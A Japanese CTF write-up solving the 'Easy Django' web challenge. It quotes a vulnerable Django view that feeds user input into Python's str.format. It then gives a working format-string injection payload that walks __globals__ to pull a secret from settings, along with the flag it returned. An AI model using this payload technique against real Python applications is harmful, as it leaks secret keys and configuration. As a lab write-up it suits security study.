CODEGRAY CTF Writeup - Easy Django-
CODE BLUE 2018 で LINE と GRAYHASH の人たちが作ったミニCTFが開催されていた。
とりあえず Web 問だけ解いたのでその Writeup です。
Easy Django
http://52.197.132.74/
Find the : ‘SECRET_FLAG’
まず、問題URLにアクセスすると今風のWebサイトが表示される。
適当にURIを /hoge とかでアクセスすると DEBUG=True な画面が表示される。
どうやら subscribe/register というパスがあるらしいのでアクセスするが、 POST しか受け付けていないことがエラー時に出力されるコードからわかる。
# Create your views here.
def main(request):
context = {}
return render(request, 'mypage/index.html', context)
def subscribe(request):
# Get parameter from user
email = request.POST['email']; ... 👈
user = request.user
# Building json
template = '%s' % email
template = template.format(email=email, user=user)
template = "{'result':true, 'email':'"+template+"'}"
他にエンドポイントはないので、この数行のコードに潜む脆弱性を突いて settings.py に含まれている SECRET_FLAG を抜き出す。
このコードから format 識別子 {} をインジェクションすることが可能であることがわかる。
email に {email}{user.is_staff} という値を与えると template は {email}{user.is_staff} という文字列になる。
"{email}{user.is_staff}".format(email="{email}{user.is_staff}", user=AnonymousUser) となり、レスポンスは次のように {user.is_staff} が評価された形で返ることになる。
{'result':true, 'email':'{email}{user.is_staff}False'}
これまでのCTFのパターンであればここで SSTI して任意の関数を呼び出して open('flag.txt').read() ということをすることになるが、今回はテンプレートエンジンは使っておらず、フォーマット文字列であるため関数呼び出しは不可能。
となると settings.py の任意の変数の値を取得するには __globals__ などを用いることになる。
参考 : Be Careful with Python’s New-Style String Format
CONFIG = {
'SECRET_KEY': 'super secret key'
}
class Event(object):
def __init__(self, id, level, message):
self.id = id
self.level = level
self.message = message
def format_event(format_string, event):
return format_string.format(event=event)
上記のようなコードがあったときに {event.__init__.__globals__[CONFIG][SECRET_KEY]} という入力値与えることで SECRET_KEY を取得できる。
というわけで今回だと以下のような文字列となる。
{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}
これを email の値として送信すると FLAG が返ってくる。
{'result':true, 'email':'{email}{user.set_password.__globals__[auth].admin.settings.SECRET_FLAG}FLAG{IU_Is_the_b3st_singer_ev3r!}'}
というわけで FLAG は FLAG{IU_Is_the_b3st_singer_ev3r!} でした。
簡単だけど良問でした!